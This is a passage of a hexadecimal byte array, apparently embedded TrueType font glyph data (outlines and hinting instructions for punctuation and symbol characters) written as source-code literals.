0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x23,0x11,0x21,0x35,0x21,0x11,0x2,0xc2,0x1, + 0x39,0xfe,0xc7,0x9a,0xfe,0xc4,0x1,0x3c,0x5,0x55,0xfe,0x89,0x74,0xfa,0xfc,0x5, + 0x4,0x74,0x1,0x77,0x0,0x0,0x1,0x0,0xec,0xfe,0x66,0x3,0xfb,0x5,0x55,0x0, + 0x13,0x0,0x66,0xb4,0x11,0x10,0xd,0xc,0x3,0x17,0x2f,0x3c,0xb6,0x13,0x12,0xf, + 0xe,0xb,0xa,0x5,0x17,0x2f,0x3c,0xb4,0x7,0x6,0x3,0x2,0x3,0x17,0x2f,0x3c, + 0xb7,0x0,0x9,0x8,0x5,0x4,0x1,0x5,0xa,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1, + 0x0,0x13,0x0,0xa,0x9,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb4, + 0xc,0xb,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb4,0x12,0x11,0x2,0x1,0x3,0x17,0x2f, + 0x3c,0xb5,0x10,0xf,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb5,0xe,0xd,0x6, + 0x5,0x3,0x7,0x10,0x17,0xdd,0x3c,0x31,0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x21, + 0x15,0x21,0x11,0x23,0x11,0x21,0x35,0x21,0x11,0x21,0x35,0x21,0x11,0x2,0xc2,0x1, + 0x39,0xfe,0xc7,0x1,0x39,0xfe,0xc7,0x9a,0xfe,0xc4,0x1,0x3c,0xfe,0xc4,0x1,0x3c, + 0x5,0x55,0xfe,0x89,0x74,0xfc,0xe8,0x74,0xfe,0x88,0x1,0x78,0x74,0x3,0x18,0x74, + 0x1,0x77,0x0,0x0,0x1,0x1,0x7,0x2,0x9f,0x3,0xe2,0x5,0x55,0x0,0xe,0x0, + 0x66,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0xd,0xc,0xa,0x10,0xdd,0x3c,0xb5,0x9,0x8, + 0x7,0x6,0x5,0xa,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xb5,0xe,0x3,0x2,0x1,0x0, + 0xc,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xb2,0x4,0xc,0xa,0x11,0x12,0x39,0x0,0xb4, + 0x1,0xc,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0x40,0xc,0x1,0x1,0x6,0x5, + 0x4,0x3,0x2,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0x40,0xd,0x1,0xe,0xd,0xa,0x9,0x8,0x7,0x1,0x0,0x8,0xb,0x2,0x0,0x13, + 0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x5,0x17,0x7,0x27,0x7,0x27,0x37,0x25, + 0x37,0x5,0x11,0x33,0x11,0x25,0x3,0xe2,0xfe,0xe7,0xa7,0x50,0xaa,0xb7,0x50,0xaf, + 0xfe,0xe9,0x23,0x1,0x18,0x66,0x1,0x16,0x4,0x32,0x69,0xee,0x3c,0xf7,0xf7,0x3c, + 0xee,0x69,0x64,0x64,0x1,0x23,0xfe,0xdd,0x64,0x0,0x1,0x0,0x5d,0x3,0x33,0x0, + 0xe7,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x0,0xb7,0x1,0x0,0x1,0x1,0x3,0x2,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, + 0xcd,0x13,0x31,0x30,0x13,0x23,0x3,0x33,0xd3,0x63,0x13,0x8a,0x3,0x33,0x2,0x22, + 0x0,0x0,0x2,0x0,0x5d,0x3,0x33,0x2,0x22,0x5,0x55,0x0,0x3,0x0,0x7,0x0, + 0x32,0xb7,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x0,0x40,0xe,0x1,0x4,0x5,0x1,0x7,0x6,0x0,0x0,0x1,0x1,0x3, + 0x2,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd, + 0x13,0x31,0x30,0x13,0x23,0x3,0x33,0x1,0x23,0x3,0x33,0xd3,0x63,0x13,0x8a,0x1, + 0x28,0x63,0x14,0x8a,0x3,0x33,0x2,0x22,0xfd,0xde,0x2,0x22,0x0,0x0,0x2,0x0, + 0x52,0x0,0x15,0x4,0xb8,0x4,0xb8,0x0,0x2f,0x0,0x3a,0x0,0x89,0xb1,0x2,0x1, + 0x2f,0x3c,0xb2,0x0,0x2f,0x1,0x10,0xdd,0x3c,0xb4,0x39,0x2e,0x29,0x18,0x2f,0x10, + 0xc4,0xc4,0xc0,0xc4,0xb4,0x1e,0x13,0x12,0x3,0x1,0x10,0xc0,0xc0,0xc0,0xc4,0xb3, + 0x24,0x23,0x1,0x2f,0x11,0x12,0x39,0x39,0xb5,0x33,0x29,0xd,0x18,0x7,0x1e,0x10, + 0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0x40,0x13,0x26,0x21,0x1, + 0x1,0x2f,0x2e,0x26,0x24,0x23,0x21,0x13,0x12,0x3,0x2,0xa,0x2,0x0,0x0,0x0, + 0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0xb5,0x1b,0x1,0x1b,0x1,0x0, + 0x1,0x11,0x14,0x12,0x39,0x14,0x2f,0xb3,0x2c,0x2,0x15,0x0,0x3f,0x3f,0x40,0xa, + 0x36,0x26,0x30,0x2c,0x10,0x15,0xa,0x1b,0x5,0x21,0x10,0xcd,0x10,0xcd,0x10,0xcd, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x11,0x17,0x14,0x33,0x32,0x11,0x10,0x26, + 0x21,0x20,0x6,0x11,0x10,0x16,0x21,0x20,0x37,0x17,0x6,0x21,0x20,0x26,0x11,0x10, + 0x36,0x21,0x20,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23,0x6,0x23,0x22,0x26,0x35, + 0x34,0x36,0x33,0x32,0x17,0x33,0x27,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35, + 0x34,0x3,0x45,0x66,0x2,0x53,0x63,0x86,0xfe,0xc3,0xfe,0x9e,0x97,0xa7,0x1,0x79, + 0x1,0x0,0x2c,0x44,0x3c,0xfe,0xbb,0xfe,0x75,0xd9,0xce,0x1,0x80,0x1,0x53,0xc5, + 0x4e,0x68,0x91,0x17,0x4,0x30,0xc3,0x96,0x70,0x71,0x98,0xb1,0x2b,0x3,0xc2,0x7a, + 0x46,0x46,0x70,0x87,0x44,0x3,0xc9,0xfe,0x29,0x2b,0x6c,0x1,0x5f,0x1,0x28,0x7d, + 0x94,0xfe,0xa6,0xfe,0x90,0xa4,0x52,0x31,0x69,0xd5,0x1,0x85,0x1,0x7d,0xcc,0xaa, + 0xfe,0xda,0xfe,0xf4,0xc9,0x6e,0x74,0x98,0xcc,0xc6,0x92,0x5e,0x16,0x64,0xaf,0xac, + 0x6d,0x71,0xe2,0xd9,0x0,0x0,0x2,0x0,0x5e,0x0,0x0,0x4,0x8b,0x5,0x55,0x0, + 0x1b,0x0,0x1f,0x0,0x8d,0x40,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a,0x19,0x18,0x17, + 0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7, + 0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x16,0x15,0x12,0x11,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0x8,0x7,0x4,0x3,0x3,0x17,0x2f,0x3c, + 0xb6,0xa,0x9,0x6,0x5,0x2,0x1,0x5,0x17,0x2f,0x3c,0xb6,0x18,0x17,0x14,0x13, + 0x10,0xf,0x5,0x17,0x2f,0x3c,0xb7,0x1c,0x1d,0x1a,0x19,0xe,0xd,0x5,0xf,0x10, + 0x17,0xdd,0x3c,0xb7,0x1f,0x1e,0x0,0x1b,0xc,0xb,0x5,0x1,0x10,0x17,0xdd,0x3c, + 0x31,0x30,0x1,0x7,0x23,0x3,0x23,0x13,0x21,0x3,0x23,0x13,0x23,0x37,0x33,0x13, + 0x23,0x37,0x33,0x13,0x33,0x3,0x21,0x13,0x33,0x3,0x33,0x7,0x23,0xb,0x1,0x21, + 0x3,0x21,0x4,0x4d,0x10,0xec,0x44,0x6d,0x45,0xfe,0xd0,0x44,0x6c,0x45,0xec,0xf, + 0xec,0x31,0xec,0x10,0xec,0x43,0x6c,0x44,0x1,0x2f,0x44,0x6d,0x44,0xea,0x10,0xea, + 0x30,0x3c,0xfe,0xd1,0x31,0x1,0x2f,0x2,0xd,0x5c,0xfe,0x4f,0x1,0xb1,0xfe,0x4f, + 0x1,0xb1,0x5c,0x1,0x40,0x5c,0x1,0xac,0xfe,0x54,0x1,0xac,0xfe,0x54,0x5c,0xfe, + 0xc0,0x1,0x40,0xfe,0xc0,0x0,0x2,0x0,0x5d,0x3,0x3d,0x2,0x90,0x5,0x65,0x0, + 0xb,0x0,0x13,0x0,0x2f,0xb1,0x9,0x3,0x2f,0x2f,0xb3,0x12,0x3,0xe,0x9,0x10, + 0xcd,0x10,0xcd,0x0,0xb7,0x6,0x1,0x1,0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14, + 0x12,0x39,0x13,0x14,0x2f,0xb1,0x0,0x1,0x3f,0xb3,0x10,0x6,0xc,0x0,0x10,0xcd, + 0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36, + 0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x1,0x77,0x74,0xa5,0xa5,0x74,0x75,0xa5, + 0xa5,0x75,0xc5,0xc5,0xc4,0x5,0x65,0xa2,0x72,0x72,0xa2,0xa2,0x72,0x73,0xa1,0x54, + 0xc0,0xc0,0xc0,0xc0,0x0,0x0,0x1,0x0,0x9b,0x0,0xd2,0x4,0x4d,0x4,0x84,0x0, + 0xb,0x0,0x3f,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f, + 0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb5,0xb,0xa,0x7,0x6,0x3,0x1,0x10,0x17,0xdd, + 0x3c,0x0,0xb1,0x0,0xb,0x2f,0x3c,0xb4,0x8,0x7,0x4,0x3,0x3,0x17,0x2f,0x3c, + 0xb1,0x6,0x5,0x2f,0x3c,0xb5,0xa,0x9,0x2,0x1,0x3,0x3,0x10,0x17,0xdd,0x3c, + 0x31,0x30,0x25,0x11,0x21,0x35,0x21,0x11,0x33,0x11,0x21,0x15,0x21,0x11,0x2,0x2e, + 0xfe,0x6d,0x1,0x93,0x8c,0x1,0x93,0xfe,0x6d,0xd2,0x1,0x97,0x82,0x1,0x99,0xfe, + 0x67,0x82,0xfe,0x69,0x0,0x0,0x3,0x0,0x9b,0x1,0x1,0x4,0x4d,0x4,0x55,0x0, + 0x7,0x0,0xf,0x0,0x13,0x0,0x45,0xb1,0x10,0x13,0x2f,0x3c,0xb1,0x12,0x11,0x2f, + 0x3c,0xb1,0xe,0x6,0x2f,0x2f,0xb3,0xa,0xe,0x2,0x6,0x10,0xcd,0x10,0xcd,0x0, + 0xb1,0x10,0x11,0x2f,0x3c,0xb2,0x13,0x12,0x11,0x10,0xdd,0x3c,0xb7,0xc,0x1,0x1, + 0xc,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x2f,0xb1,0x4,0x2, + 0x3f,0xb3,0x8,0xc,0x0,0x4,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x15,0x14, + 0x23,0x22,0x35,0x34,0x13,0x32,0x15,0x14,0x23,0x22,0x35,0x34,0x1,0x21,0x15,0x21, + 0x2,0x74,0x5d,0x5d,0x5c,0x5c,0x5d,0x5d,0x5c,0xfe,0x83,0x3,0xb2,0xfc,0x4e,0x4, + 0x55,0x5c,0x5d,0x5d,0x5c,0xfd,0x65,0x5c,0x5d,0x5d,0x5c,0x1,0x31,0x82,0x0,0x0, + 0x2,0x0,0x9b,0x1,0xbf,0x4,0x4d,0x3,0x96,0x0,0x3,0x0,0x7,0x0,0x2f,0xb1, + 0x0,0x3,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb1,0x6, + 0x5,0x2f,0x3c,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x3, + 0x2,0x1,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21, + 0x15,0x21,0x15,0x21,0x15,0x21,0x9b,0x3,0xb2,0xfc,0x4e,0x3,0xb2,0xfc,0x4e,0x3, + 0x96,0x82,0xd3,0x82,0x0,0x0,0x2,0xff,0xfd,0x2,0x4b,0x6,0x1a,0x5,0x55,0x0, + 0x7,0x0,0x29,0x0,0x98,0xb1,0x5,0x4,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1, + 0x7,0x6,0x2f,0x3c,0xb1,0x1f,0x1e,0x2f,0x3c,0xb1,0x8,0x9,0x2f,0x3c,0xb2,0x0, + 0x1,0x2,0x10,0xdd,0x3c,0xb6,0x1d,0x1c,0x1b,0x1a,0x19,0x4,0x1e,0x10,0x17,0xdd, + 0x3c,0xb6,0xe,0xd,0xc,0xb,0xa,0x4,0x9,0x10,0x17,0xdd,0x3c,0xb7,0x29,0x24, + 0x20,0x14,0x13,0x5,0xa,0x19,0x11,0x12,0x17,0x39,0x0,0x40,0xf,0x1,0x8,0x29, + 0x20,0x1f,0x0,0x0,0x7,0x4,0x3,0x1,0x6,0x5,0x0,0x0,0x13,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c, + 0xb6,0x1e,0x1d,0x14,0x13,0xa,0x9,0x5,0x17,0x2f,0x3c,0xb4,0x1,0x24,0x2,0x0, + 0x9,0x11,0x14,0x12,0x39,0x14,0x40,0xd,0x1,0x1c,0x1b,0x1a,0x19,0xe,0xd,0xc, + 0xb,0x8,0x1f,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x11,0x23, + 0x11,0x21,0x35,0x21,0x15,0x25,0x11,0x23,0x11,0x3d,0x2,0x6,0xf,0x2,0x1,0x23, + 0x1,0x2f,0x1,0x26,0x27,0x1d,0x2,0x11,0x23,0x11,0x33,0x13,0x1f,0x2,0x36,0x3f, + 0x2,0x13,0x1,0x65,0x66,0xfe,0xfe,0x2,0x69,0x3,0xb4,0x66,0x3,0x2,0x6,0x6, + 0xfe,0xf0,0x63,0xfe,0xf0,0x6,0x6,0x2,0x4,0x66,0xa6,0xd5,0x22,0x10,0xb,0x9, + 0x3,0x10,0x22,0xd4,0x4,0xf9,0xfd,0x52,0x2,0xae,0x5c,0x5c,0x5c,0xfc,0xf6,0x2, + 0x6a,0xf,0x1f,0xe,0x9,0x3,0xf,0xe,0xfd,0x83,0x2,0x75,0xc,0xe,0x4,0xb, + 0x12,0x11,0x11,0xfd,0x96,0x3,0xa,0xfe,0xd,0x50,0x28,0x1a,0x13,0x7,0x28,0x50, + 0x1,0xf3,0x0,0x0,0x1,0x0,0x60,0xfe,0x66,0x4,0x44,0x5,0x55,0x0,0x10,0x0, + 0x49,0xb1,0x4,0x3,0x2f,0x3c,0xb1,0x0,0x10,0x2f,0x3c,0xb2,0x6,0x5,0x3,0x10, + 0xdd,0x3c,0xb2,0x2,0x1,0x10,0x10,0xdd,0x3c,0xb4,0xf,0xe,0xb,0x7,0x5,0x10, + 0xc0,0xc4,0xc0,0xc0,0x0,0x40,0xe,0x1,0x3,0x2,0x1,0x10,0xf,0xe,0x0,0x0, + 0x5,0x4,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0x10, + 0xcd,0xcd,0x13,0xb1,0x7,0x6,0x2f,0x3c,0x31,0x30,0x1,0x23,0x11,0x23,0x11,0x23, + 0x11,0x23,0x27,0x22,0x26,0x35,0x34,0x36,0x3b,0x1,0x21,0x4,0x44,0x8c,0xa0,0x8c, + 0x50,0x2f,0xf8,0xb5,0xaa,0xe5,0x34,0x2,0x21,0xfe,0x66,0x6,0x6d,0xf9,0x93,0x3, + 0xb1,0x1,0xaa,0xe9,0xf5,0xb5,0x0,0x0,0x2,0x0,0x72,0x0,0xaa,0x4,0xe4,0x5, + 0x11,0x0,0x1b,0x0,0x27,0x0,0x73,0x40,0x12,0x1b,0x1a,0x16,0x15,0x14,0x13,0x11, + 0xf,0xe,0xd,0xc,0x8,0x7,0x6,0x5,0x3,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0xb3,0x25,0x11, + 0x1f,0x3,0x10,0xcd,0x10,0xcd,0x0,0x40,0x11,0x18,0x1,0x1,0x1b,0x1a,0x18,0x16, + 0x15,0x14,0x13,0x1,0x0,0x9,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39, + 0x13,0x14,0x2f,0x40,0x11,0xa,0x1,0x1,0xf,0xe,0xd,0xc,0xa,0x8,0x7,0x6, + 0x5,0x9,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0xb3, + 0x22,0x18,0x1c,0xa,0x10,0xcd,0x10,0xcd,0x31,0x30,0x3f,0x1,0x26,0x35,0x34,0x37, + 0x27,0x37,0x17,0x36,0x33,0x32,0x17,0x37,0x17,0x7,0x16,0x15,0x14,0x7,0x17,0x7, + 0x27,0x6,0x23,0x22,0x27,0x7,0x1,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35, + 0x34,0x26,0x77,0xbe,0x68,0x68,0xc3,0x50,0xc1,0x8f,0x9c,0x97,0x8b,0xc2,0x4f,0xc0, + 0x69,0x67,0xc1,0x4f,0xc1,0x89,0xa0,0x92,0x93,0xc0,0x1,0xe6,0x90,0xca,0xcb,0x8f, + 0x8e,0xcb,0xca,0xfa,0xc1,0x88,0x9a,0x98,0x8b,0xc1,0x50,0xc1,0x6b,0x6a,0xbf,0x4f, + 0xbf,0x8e,0x98,0x95,0x8c,0xc1,0x50,0xc1,0x69,0x69,0xc1,0x3,0x8f,0xcc,0x90,0x8e, + 0xcb,0xcb,0x8e,0x91,0xcb,0x0,0x1,0x0,0x6d,0xff,0x37,0x1,0x1b,0x0,0xb8,0x0, + 0xb,0x0,0x42,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0x0,0x1, + 0xa,0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0, + 0xb4,0x1,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c, + 0x40,0xa,0x3,0x1,0x6,0x5,0x3,0x1,0x4,0x9,0x3,0x0,0x13,0x11,0x12,0x17, + 0x39,0x13,0x2f,0x31,0x30,0x25,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23, + 0x35,0x1,0x1b,0x88,0xd,0x19,0x56,0x1,0x41,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53, + 0x23,0xb8,0x0,0x0,0x1,0x0,0x7b,0x3,0xd3,0x1,0x29,0x5,0x55,0x0,0xb,0x0, + 0x43,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10, + 0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0,0xb7,0x1, + 0xa,0x9,0x1,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb7, + 0x1,0x6,0x5,0x1,0x3,0x9,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb1,0x3, + 0x2,0x3f,0x31,0x30,0x1,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35, + 0x1,0x29,0x88,0xc,0x1a,0x56,0x1,0x41,0x5,0x55,0xc7,0xbb,0x2,0x4d,0x5,0x53, + 0x23,0xb8,0x0,0x0,0x1,0x0,0xab,0xfe,0x66,0x2,0x65,0x5,0x55,0x0,0x19,0x0, + 0x7a,0xb1,0xe,0xd,0x2f,0x3c,0xb4,0x11,0x10,0xb,0xa,0x3,0x17,0x2f,0x3c,0xb4, + 0x15,0x14,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb5,0x18,0x17,0x3,0x2,0x3,0xa,0x10, + 0x17,0xdd,0x3c,0xb2,0x0,0x2,0xa,0x11,0x12,0x39,0xb3,0x13,0x8,0x6,0x2,0x11, + 0x12,0x39,0x39,0x0,0xb7,0x1,0x14,0x13,0x0,0x8,0x7,0x0,0x0,0x13,0x10,0xcd, + 0xcd,0x10,0xcd,0xcd,0x13,0xb5,0x1,0xa,0x3,0x0,0x0,0x5,0x11,0x14,0x12,0x39, + 0x39,0x14,0x40,0xe,0x1,0x1,0x18,0x10,0xe,0xd,0xb,0x2,0x0,0x7,0x2,0x0, + 0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x17,0x15,0x11,0x3, + 0x13,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x16,0x15,0x11,0x14, + 0x3b,0x1,0x15,0x23,0x22,0x19,0x1,0x34,0x27,0x35,0x36,0x35,0x11,0x10,0x3b,0x1, + 0x15,0x22,0x15,0x11,0x14,0x1,0x2c,0x80,0xab,0xe,0x58,0xed,0x75,0x75,0xed,0x58, + 0xb9,0x1,0xdf,0x3d,0xb1,0xfe,0xab,0xc5,0x71,0x1,0x33,0x1,0x52,0x98,0x23,0x71, + 0x22,0x9a,0x1,0x51,0x1,0x31,0x6f,0xc5,0xfe,0xab,0xb1,0x0,0x1,0x0,0xab,0xfe, + 0x66,0x2,0x65,0x5,0x55,0x0,0x19,0x0,0x81,0xb4,0x15,0x14,0x7,0x6,0x3,0x17, + 0x2f,0x3c,0xb4,0x18,0x17,0x3,0x2,0x3,0x17,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c, + 0xb5,0x11,0x10,0xb,0xa,0x3,0x2,0x10,0x17,0xdd,0x3c,0xb3,0x13,0x8,0x2,0x6, + 0x11,0x12,0x39,0x39,0xb2,0x0,0xa,0x2,0x11,0x12,0x39,0x0,0x40,0xb,0x1,0x6, + 0x5,0x1,0x8,0x7,0x0,0x14,0x13,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0xb7,0x1,0x17,0x15,0x11,0x3,0x0,0x0,0x13,0x11,0x14,0x12, + 0x17,0x39,0x14,0x40,0xe,0x1,0x1,0x18,0x10,0xe,0xd,0xb,0x2,0x0,0x7,0x2, + 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb5,0x1,0xa,0x3,0x5, + 0x2,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0x31,0x30,0x1,0x26,0x35,0x11,0x34,0x2b, + 0x1,0x35,0x33,0x32,0x19,0x1,0x14,0x17,0x15,0x6,0x15,0x11,0x10,0x2b,0x1,0x35, + 0x32,0x35,0x11,0x34,0x1,0xe8,0x80,0xaf,0xe,0x5a,0xef,0x71,0x71,0xef,0x5a,0xbd, + 0x1,0xdd,0x3c,0xb1,0x1,0x55,0xc5,0x71,0xfe,0xcd,0xfe,0xae,0x98,0x23,0x71,0x24, + 0x97,0xfe,0xae,0xfe,0xcf,0x6f,0xc5,0x1,0x55,0xb1,0x0,0x0,0x3,0x0,0x75,0x2, + 0x82,0x2,0xb3,0x5,0x5d,0x0,0x17,0x0,0x1f,0x0,0x23,0x0,0x8a,0xb1,0x7,0x6, + 0x2f,0x3c,0xb1,0x22,0x21,0x2f,0x3c,0xb2,0x12,0x11,0x6,0x10,0xdd,0x3c,0xb5,0x17, + 0xd,0x8,0x1,0x0,0x11,0x10,0xc0,0xc0,0xc0,0xc4,0xc4,0xb2,0x23,0x20,0x21,0x10, + 0xc0,0xc0,0xb4,0x1e,0x1e,0x9,0x6,0x11,0x11,0x12,0x39,0x39,0x2f,0xb1,0x1a,0xd, + 0x10,0xcd,0x0,0xb1,0x8,0x7,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x20,0x21, + 0x2f,0x3c,0xb2,0x23,0x22,0x21,0x10,0xdd,0x3c,0xb5,0xb,0x1,0xb,0x7,0x0,0x0, + 0x13,0x11,0x12,0x39,0x13,0x2f,0xb4,0x1,0x9,0x2,0x0,0x7,0x11,0x14,0x12,0x39, + 0x14,0x40,0xa,0xf,0x1,0x12,0x11,0xf,0x6,0x4,0x1,0x2,0x0,0x13,0x11,0x12, + 0x17,0x39,0x13,0x2f,0xb1,0x4,0x1,0x3f,0xb5,0x1c,0xb,0x18,0xf,0x15,0x4,0x10, + 0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x15,0x11,0x23, + 0x37,0x6,0x23,0x22,0x35,0x34,0x33,0x32,0x17,0x35,0x34,0x26,0x23,0x22,0x15,0x17, + 0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x1,0x21,0x15,0x21,0x1,0xd,0x62,0x5c,0x8a, + 0xff,0x67,0x6,0x3f,0x74,0xe9,0xe7,0x7b,0x35,0x33,0x5b,0x90,0x80,0x93,0x91,0xa4, + 0xfe,0x49,0x2,0x3c,0xfd,0xc2,0x4,0xb2,0x66,0x45,0xc4,0xfe,0x9a,0x2d,0x35,0xa8, + 0xb1,0x29,0x2d,0x5a,0x33,0x4c,0x8d,0x62,0x67,0x61,0x68,0xfe,0x98,0x52,0x0,0x0, + 0x3,0x0,0x84,0x2,0x82,0x2,0xc2,0x5,0x6a,0x0,0xb,0x0,0x17,0x0,0x1b,0x0, + 0x47,0xb1,0x1a,0x19,0x2f,0x3c,0xb2,0x1b,0x18,0x19,0x10,0xc0,0xc0,0xb1,0x9,0x3, + 0x2f,0x2f,0xb3,0x15,0x3,0xf,0x9,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x18,0x19,0x2f, + 0x3c,0xb2,0x1b,0x1a,0x19,0x10,0xdd,0x3c,0xb7,0x6,0x1,0x1,0x6,0x2,0x0,0x0, + 0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x2f,0xb1,0x0,0x1,0x3f,0xb3,0x12,0x6, + 0xc,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6,0x23,0x22, + 0x26,0x35,0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26, + 0x1,0x21,0x15,0x21,0x1,0xa3,0xa6,0x65,0x65,0xa6,0xa6,0x65,0x65,0xa6,0x67,0x30, + 0x2f,0x68,0x67,0x30,0x30,0xfe,0x7c,0x2,0x3c,0xfd,0xc2,0x5,0x6a,0x6d,0xb3,0xb2, + 0x6d,0x6d,0xb3,0xb2,0x6d,0x59,0x3f,0x87,0x89,0x3e,0x3f,0x88,0x87,0x3f,0xfd,0xc3, + 0x52,0x0,0x2,0x0,0x94,0x0,0x7c,0x4,0x54,0x4,0xe2,0x0,0xb,0x0,0xf,0x0, + 0x55,0xb1,0x0,0xb,0x2f,0x3c,0xb4,0xa,0x9,0x2,0x1,0x3,0x17,0x2f,0x3c,0xb1, + 0x6,0x5,0x2f,0x3c,0xb1,0xc,0xf,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb5,0x8, + 0x7,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0x0,0xb1,0x9,0x8,0x2f,0x3c,0xb4, + 0x0,0x5,0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0xf,0xe, + 0x2f,0x3c,0xb5,0xb,0xa,0x7,0x6,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb2,0xc,0xd, + 0xe,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21,0x11,0x33,0x11,0x21,0x15,0x21,0x11,0x23, + 0x11,0x21,0x11,0x21,0x15,0x21,0x94,0x1,0x94,0x9a,0x1,0x92,0xfe,0x6e,0x9a,0xfe, + 0x6c,0x3,0xc0,0xfc,0x40,0x3,0x80,0x1,0x62,0xfe,0x9e,0x8f,0xfe,0xa2,0x1,0x5e, + 